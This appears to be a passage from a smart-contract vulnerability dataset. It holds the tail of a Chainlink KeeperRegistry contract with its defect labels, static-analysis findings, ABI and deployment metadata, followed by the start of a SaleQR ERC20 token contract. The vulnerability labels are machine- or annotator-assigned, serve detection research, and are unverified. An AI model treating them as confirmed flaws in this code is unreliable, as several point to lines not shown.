s_fallbackGasPrice,
s_fallbackLinkPrice
);
}
// PRIVATE
/**
* @dev retrieves feed data for fast gas/eth and link/eth prices. if the feed
* data is stale it uses the configured fallback price. Once a price is picked
* for gas it takes the min of gas price in the transaction or the fast gas
* price in order to reduce costs for the upkeep clients.
*/
function getFeedData()
private
view
returns (
int256 gasWei,
int256 linkEth
)
{
uint32 stalenessSeconds = s_config.stalenessSeconds;
bool staleFallback = stalenessSeconds > 0;
uint256 timestamp;
(,gasWei,,timestamp,) = FAST_GAS_FEED.latestRoundData();
if (staleFallback && stalenessSeconds < block.timestamp - timestamp) {
gasWei = s_fallbackGasPrice;
}
(,linkEth,,timestamp,) = LINK_ETH_FEED.latestRoundData();
if (staleFallback && stalenessSeconds < block.timestamp - timestamp) {
linkEth = s_fallbackLinkPrice;
}
return (gasWei, linkEth);
}
/**
* @dev calculates LINK paid for gas spent plus a configure premium percentage
*/
function calculatePaymentAmount(
uint256 gasLimit,
int256 gasWei,
int256 linkEth
)
private
view
returns (
uint96 payment
)
{
uint256 weiForGas = uint256(gasWei).mul(gasLimit.add(REGISTRY_GAS_OVERHEAD));
uint256 premium = PPB_BASE.add(s_config.paymentPremiumPPB);
uint256 total = weiForGas.mul(1e9).mul(premium).div(uint256(linkEth));
require(total <= LINK_TOTAL_SUPPLY, "payment greater than all LINK");
return uint96(total); // LINK_TOTAL_SUPPLY < UINT96_MAX
}
/**
* @dev calls target address with exactly gasAmount gas and data as calldata
* or reverts if at least gasAmount gas is not available
*/
function callWithExactGas(
uint256 gasAmount,
address target,
bytes memory data
)
private
returns (
bool success
)
{
assembly{
let g := gas()
// Compute g -= CUSHION and check for underflow
if lt(g, CUSHION) { revert(0, 0) }
g := sub(g, CUSHION)
// if g - g//64 <= gasAmount, revert
// (we subtract g//64 because of EIP-150)
if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) }
// solidity calls check that a contract actually exists at the destination, so we do the same
if iszero(extcodesize(target)) { revert(0, 0) }
// call and return whether we succeeded. ignore return data
success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0)
}
return success;
}
/**
* @dev calls the Upkeep target with the performData param passed in by the
* keeper and the exact gas required by the Upkeep
*/
function performUpkeepWithParams(
PerformParams memory params
)
private
nonReentrant()
validUpkeep(params.id)
returns (
bool success
)
{
require(s_keeperInfo[params.from].active, "only active keepers");
Upkeep memory upkeep = s_upkeep[params.id];
uint256 gasLimit = upkeep.executeGas;
(int256 gasWei, int256 linkEth) = getFeedData();
if (gasWei > int256(tx.gasprice)) {
gasWei = int256(tx.gasprice);
}
uint96 payment = calculatePaymentAmount(gasLimit, gasWei, linkEth);
require(upkeep.balance >= payment, "insufficient payment");
require(upkeep.lastKeeper != params.from, "keepers must take turns");
uint256 gasUsed = gasleft();
bytes memory callData = abi.encodeWithSelector(PERFORM_SELECTOR, params.performData);
success = callWithExactGas(gasLimit, upkeep.target, callData);
gasUsed = gasUsed - gasleft();
payment = calculatePaymentAmount(gasUsed, gasWei, linkEth);
upkeep.balance = upkeep.balance.sub(payment);
upkeep.lastKeeper = params.from;
s_upkeep[params.id] = upkeep;
uint96 newBalance = s_keeperInfo[params.from].balance.add(payment);
s_keeperInfo[params.from].balance = newBalance;
emit UpkeepPerformed(
params.id,
success,
params.from,
payment,
params.performData
);
return success;
}
/**
* @dev ensures a upkeep is valid
*/
function validateUpkeep(
uint256 id
)
private
view
{
require(s_upkeep[id].maxValidBlocknumber > block.number, "invalid upkeep id");
}
// MODIFIERS
/**
* @dev ensures a upkeep is valid
*/
modifier validUpkeep(
uint256 id
) {
validateUpkeep(id);
_;
}
/**
* @dev ensures that burns don't accidentally happen by sending to the zero
* address
*/
modifier validateRecipient(
address to
) {
require(to != address(0), "cannot send to zero address");
_;
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["INK.transfer.L1101", "INK.transfer.L1080", "INK.transfer.L1055"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1203"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["914"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["982"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["703", "1134", "200"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["179", "192"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1449", "1360", "1364"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["1360", "1364"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [344, 345, 346, 347]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [245]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1405, 1406, 1407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [265, 266, 267, 268, 269, 270, 271]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [316, 317, 318]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [328, 329, 326, 327]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [520, 517, 518, 519]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [480, 481, 482, 483, 484, 472, 473, 474, 475, 476, 477, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [497, 498, 499, 500, 501, 502, 503, 504]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [152, 153, 154, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [301, 302, 303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [291, 292, 293]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [335]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [269]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [921, 922, 923, 924]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [722]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [711]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [717]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [718]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [710]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [721]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [713]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [715]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [716]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [709]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [712]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [714]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KeeperRegistry.sol": [720]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1456]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1010]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [933, 934, 935, 936, 937]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1454]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1364]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [872]}}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [533]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1009]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1101]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1055]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"KeeperRegistry.sol": [1080]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 202, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 697, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1199, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1203, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1070, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1074, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1199, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1203, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 164, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 383, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 384, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 386, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 697, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 698, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 699, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 700, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 701, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 702, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 703, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 704, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 705, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 706, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 707, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 709, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 710, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 711, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 712, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 713, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 714, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 715, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 716, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 717, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 718, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 238, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 16, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 26, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 571, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 620, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 636, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 642, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 664, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 679, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 906, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1229, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1302, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1319, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1351, "severity": 1}, {"rule": "SOLIDITY_TX_ORIGIN", "line": 533, "severity": 2}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1448, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1405, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 175, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 265, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 388, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 821, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 265, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 265, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 269, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 269, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 269, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"link","type":"address"},{"internalType":"address","name":"linkEthFeed","type":"address"},{"internalType":"address","name":"fastGasFeed","type":"address"},{"internalType":"uint32","name":"paymentPremiumPPB","type":"uint32"},{"internalType":"uint24","name":"blockCountPerTurn","type":"uint24"},{"internalType":"uint32","name":"checkGasLimit","type":"uint32"},{"internalType":"uint24","name":"stalenessSeconds","type":"uint24"},{"internalType":"int256","name":"fallbackGasPrice","type":"int256"},{"internalType":"int256","name":"fallbackLinkPrice","type":"int256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"paymentPremiumPPB","type":"uint32"},{"indexed":false,"internalType":"uint24","name":"blockCountPerTurn","type":"uint24"},{"indexed":false,"internalType":"uint32","name":"checkGasLimit","type":"uint32"},{"indexed":false,"internalType":"uint24","name":"stalenessSeconds","type":"uint24"},{"indexed":false,"internalType":"int256","name":"fallbackGasPrice","type":"int256"},{"indexed":false,"internalType":"int256","name":"fallbackLinkPrice","type":"int256"}],"name":"ConfigSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint96","name":"amount","type":"uint96"}],"name":"FundsAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"FundsWithdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"keepers","type":"address[]"},{"indexed":false,"internalType":"address[]","name":"payees","type":"address[]"}],"name":"KeepersUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"keeper","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"PayeeshipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"keeper","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"PayeeshipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"keeper","type":"address"},{"indexed":true,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"address","name":"payee","type":"address"}],"name":"PaymentWithdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"uint64","name":"atBlockHeight","type":"uint64"}],"name":"UpkeepCanceled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"bool","name":"success","type":"bool"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint96","name":"payment","type":"uint96"},{"indexed":false,"internalType":"bytes","name":"performData","type":"bytes"}],"name":"UpkeepPerformed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint32","name":"executeGas","type":"uint32"},{"indexed":false,"internalType":"address","name":"admin","type":"address"}],"name":"UpkeepRegistered","type":"event"},{"inputs":[],"name":"FAST_GAS_FEED","outputs":[{"internalType":"contract AggregatorV3Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"LINK","outputs":[{"internalType":"contract LinkTokenInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"LINK_ETH_FEED","outputs":[{"internalType":"contract AggregatorV3Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"keeper","type":"address"}],"name":"acceptPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint96","name":"amount","type":"uint96"}],"name":"addFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"cancelUpkeep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"address","name":"from","type":"address"}],"name":"checkUpkeep","outputs":[{"internalType":"bytes","name":"performData","type":"bytes"},{"internalType":"uint256","name":"maxLinkPayment","type":"uint256"},{"internalType":"uint256","name":"gasLimit","type":"uint256"},{"internalType":"int256","name":"gasWei","type":"int256"},{"internalType":"int256","name":"linkEth","type":"int256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCanceledUpkeepList","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getConfig","outputs":[{"internalType":"uint32","name":"paymentPremiumPPB","type":"uint32"},{"internalType":"uint24","name":"blockCountPerTurn","type":"uint24"},{"internalType":"uint32","name":"checkGasLimit","type":"uint32"},{"internalType":"uint24","name":"stalenessSeconds","type":"uint24"},{"internalType":"int256","name":"fallbackGasPrice","type":"int256"},{"internalType":"int256","name":"fallbackLinkPrice","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"query","type":"address"}],"name":"getKeeperInfo","outputs":[{"internalType":"address","name":"payee","type":"address"},{"internalType":"bool","name":"active","type":"bool"},{"internalType":"uint96","name":"balance","type":"uint96"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getKeeperList","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"getUpkeep","outputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint32","name":"executeGas","type":"uint32"},{"internalType":"bytes","name":"checkData","type":"bytes"},{"internalType":"uint96","name":"balance","type":"uint96"},{"internalType":"address","name":"lastKeeper","type":"address"},{"internalType":"address","name":"admin","type":"address"},{"internalType":"uint64","name":"maxValidBlocknumber","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUpkeepCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"onTokenTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"performData","type":"bytes"}],"name":"performUpkeep","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint32","name":"gasLimit","type":"uint32"},{"internalType":"address","name":"admin","type":"address"},{"internalType":"bytes","name":"checkData","type":"bytes"}],"name":"registerUpkeep","outputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"paymentPremiumPPB","type":"uint32"},{"internalType":"uint24","name":"blockCountPerTurn","type":"uint24"},{"internalType":"uint32","name":"checkGasLimit","type":"uint32"},{"internalType":"uint24","name":"stalenessSeconds","type":"uint24"},{"internalType":"int256","name":"fallbackGasPrice","type":"int256"},{"internalType":"int256","name":"fallbackLinkPrice","type":"int256"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"keepers","type":"address[]"},{"internalType":"address[]","name":"payees","type":"address[]"}],"name":"setKeepers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"keeper","type":"address"},{"internalType":"address","name":"proposed","type":"address"}],"name":"transferPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"withdrawPayment","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 1,000,000 | 000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca000000000000000000000000dc530d9457755926550b59e8eccdae7624181557000000000000000000000000169e633a2d1e6c10dd91238ba11c4a708dfef37c000000000000000000000000000000000000000000000000000000000bebc20000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000001312d00000000000000000000000000000000000000000000000000000000000000ab2c00000000000000000000000000000000000000000000000000000000000000c8000000000000000000000000000000000000000000000000000000000bebc200 | Default | MIT | false | ipfs://8c0c2e852348e21082acacb50cfa335e17b21c47523d9034b739dff966432a8e |
||
SaleQR | 0x58c308b4298e605f0c9087238fc15a8fa5bd62ad | Solidity | pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'SQR' 'SaleQR' standard token contract saleqr.com
// d3675d8103feb8888f00bc4de8df3b71 5c5645168ab95bb3a0647a6329b76bad
// Symbol : SQR
// Name : SaleQR
// Total supply: 200,000,000.000000000000000000
// Decimals : 18
// Website : saleqr.com
// Enjoy.
// https://theethereum.wiki/w/index.php/ERC20_Token_Standard
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract SaleQR is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SQR";
name = "SaleQR";
decimals = 18;
_totalSupply = 200000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
